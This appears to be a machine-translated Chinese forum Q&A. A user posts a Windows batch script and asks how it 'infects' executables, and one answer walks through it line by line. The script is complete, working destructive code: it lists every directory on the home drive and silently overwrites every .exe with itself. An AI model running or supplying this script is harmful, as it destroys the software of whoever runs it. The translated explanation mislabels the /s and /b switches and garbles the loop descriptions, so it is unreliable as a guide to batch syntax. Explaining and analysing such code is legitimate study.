批处理文件感染命令说明

批处理文件感染命令说明

我确实知道下面的命令用于感染可执行文件。但我不知道它们的具体工作原理。有人能给我解释一下吗?

@echo off
Dir %Homedrive% /s /b > DirPath
  For /f %%Y In (DirPath) Do (
  Set DirPath=%%Y > Nul
 For %%Z In (%DirPath%\*.exe) Do (
Set ExeInfect=%%Z > Nul 
  Copy /y %0 %ExeInfect% 
 )
) 
Del /f /s /q DirPath 

答案1

@echo off

禁用回显批处理命令。

Dir %Homedrive% /s /b > DirPath

逐行(开关)列出主驱动器中的所有文件和目录(通常C:),/b包括子目录(/s开关),并将结果存储在文件中DirPath

For /f %%Y In (DirPath) Do ( ... )

横向执行DirPath并执行...每个项目。%%Y将包含该行的第一个项目。

Set DirPath=%%Y > Nul

将该行的第一项存储在变量中DirPath

For %%Z In (%DirPath%\*.exe) Do ( ... )

横跨.exe变量中存储的目录中的所有文件DirPath%%Z将包含可执行文件的名称。

Set ExeInfect=%%Z > Nul 

将可执行文件的名称存储在变量中ExeInfect

Copy /y %0 %ExeInfect%

不提示(/y切换)将当前可执行文件(即批处理文件)复制到存储在中的可执行文件上ExeInfect

结果,所有可执行文件都被批处理文件替换。

For嗯,几乎全部。如果目录名称包含空格,第一个命令将表现不正确...

相关内容